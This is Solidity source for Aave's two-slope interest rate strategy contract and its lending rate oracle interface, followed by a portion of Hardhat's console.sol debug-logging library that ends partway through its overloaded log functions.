import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IReserveInterestRateStrategy} from '../../interfaces/IReserveInterestRateStrategy.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import 'hardhat/console.sol';
/**
* @title DefaultReserveInterestRateStrategy contract
* @notice Implements the calculation of the interest rates depending on the reserve state
* @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE`
* point of utilization and another from that one to 100%
* - An instance of this same contract, can't be used across different Aave markets, due to the caching
* of the LendingPoolAddressesProvider
* @author Aave
**/
contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy {
using WadRayMath for uint256;
using SafeMath for uint256;
using PercentageMath for uint256;
/**
* @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates.
* Expressed in ray
**/
uint256 public immutable OPTIMAL_UTILIZATION_RATE;
/**
* @dev This constant represents the excess utilization rate above the optimal. It's always equal to
* 1-optimal utilization rate. Added as a constant here for gas optimizations.
* Expressed in ray
**/
uint256 public immutable EXCESS_UTILIZATION_RATE;
ILendingPoolAddressesProvider public immutable addressesProvider;
// Base variable borrow rate when Utilization rate = 0. Expressed in ray
uint256 internal immutable _baseVariableBorrowRate;
// Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _variableRateSlope1;
// Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _variableRateSlope2;
// Slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _stableRateSlope1;
// Slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _stableRateSlope2;
constructor(
ILendingPoolAddressesProvider provider,
uint256 optimalUtilizationRate,
uint256 baseVariableBorrowRate,
uint256 variableRateSlope1,
uint256 variableRateSlope2,
uint256 stableRateSlope1,
uint256 stableRateSlope2
) public {
OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate;
EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate);
addressesProvider = provider;
_baseVariableBorrowRate = baseVariableBorrowRate;
_variableRateSlope1 = variableRateSlope1;
_variableRateSlope2 = variableRateSlope2;
_stableRateSlope1 = stableRateSlope1;
_stableRateSlope2 = stableRateSlope2;
}
function variableRateSlope1() external view returns (uint256) {
return _variableRateSlope1;
}
function variableRateSlope2() external view returns (uint256) {
return _variableRateSlope2;
}
function stableRateSlope1() external view returns (uint256) {
return _stableRateSlope1;
}
function stableRateSlope2() external view returns (uint256) {
return _stableRateSlope2;
}
function baseVariableBorrowRate() external view override returns (uint256) {
return _baseVariableBorrowRate;
}
function getMaxVariableBorrowRate() external view override returns (uint256) {
return _baseVariableBorrowRate.add(_variableRateSlope1).add(_variableRateSlope2);
}
/**
* @dev Calculates the interest rates depending on the reserve's state and configurations
* @param reserve The address of the reserve
* @param liquidityAdded The liquidity added during the operation
* @param liquidityTaken The liquidity taken during the operation
* @param totalStableDebt The total borrowed from the reserve a stable rate
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param averageStableBorrowRate The weighted average of all the stable rate loans
* @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
* @return The liquidity rate, the stable borrow rate and the variable borrow rate
**/
function calculateInterestRates(
address reserve,
address aToken,
uint256 liquidityAdded,
uint256 liquidityTaken,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
external
view
override
returns (
uint256,
uint256,
uint256
)
{
uint256 availableLiquidity = IERC20(reserve).balanceOf(aToken);
//avoid stack too deep
availableLiquidity = availableLiquidity.add(liquidityAdded).sub(liquidityTaken);
return
calculateInterestRates(
reserve,
availableLiquidity,
totalStableDebt,
totalVariableDebt,
averageStableBorrowRate,
reserveFactor
);
}
struct CalcInterestRatesLocalVars {
uint256 totalDebt;
uint256 currentVariableBorrowRate;
uint256 currentStableBorrowRate;
uint256 currentLiquidityRate;
uint256 utilizationRate;
}
/**
* @dev Calculates the interest rates depending on the reserve's state and configurations.
* NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface.
* New protocol implementation uses the new calculateInterestRates() interface
* @param reserve The address of the reserve
* @param availableLiquidity The liquidity available in the corresponding aToken
* @param totalStableDebt The total borrowed from the reserve a stable rate
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param averageStableBorrowRate The weighted average of all the stable rate loans
* @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
* @return The liquidity rate, the stable borrow rate and the variable borrow rate
**/
function calculateInterestRates(
address reserve,
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
public
view
override
returns (
uint256,
uint256,
uint256
)
{
CalcInterestRatesLocalVars memory vars;
vars.totalDebt = totalStableDebt.add(totalVariableDebt);
vars.currentVariableBorrowRate = 0;
vars.currentStableBorrowRate = 0;
vars.currentLiquidityRate = 0;
vars.utilizationRate = vars.totalDebt == 0
? 0
: vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt));
vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle())
.getMarketBorrowRate(reserve);
if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) {
uint256 excessUtilizationRateRatio =
vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE);
vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add(
_stableRateSlope2.rayMul(excessUtilizationRateRatio)
);
vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add(
_variableRateSlope2.rayMul(excessUtilizationRateRatio)
);
} else {
vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(
_stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE))
);
vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(
vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE)
);
}
vars.currentLiquidityRate = _getOverallBorrowRate(
totalStableDebt,
totalVariableDebt,
vars
.currentVariableBorrowRate,
averageStableBorrowRate
)
.rayMul(vars.utilizationRate)
.percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor));
return (
vars.currentLiquidityRate,
vars.currentStableBorrowRate,
vars.currentVariableBorrowRate
);
}
/**
* @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt
* @param totalStableDebt The total borrowed from the reserve a stable rate
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param currentVariableBorrowRate The current variable borrow rate of the reserve
* @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans
* @return The weighted averaged borrow rate
**/
function _getOverallBorrowRate(
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 currentVariableBorrowRate,
uint256 currentAverageStableBorrowRate
) internal pure returns (uint256) {
uint256 totalDebt = totalStableDebt.add(totalVariableDebt);
if (totalDebt == 0) return 0;
uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate);
uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate);
uint256 overallBorrowRate =
weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay());
return overallBorrowRate;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title ILendingRateOracle interface
* @notice Interface for the Aave borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations
**/
interface ILendingRateOracle {
/**
@dev returns the market borrow rate in ray
**/
function getMarketBorrowRate(address asset) external view returns (uint256);
/**
@dev sets the market borrow rate. Rate value must be in ray
**/
function setMarketBorrowRate(address asset, uint256 rate) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
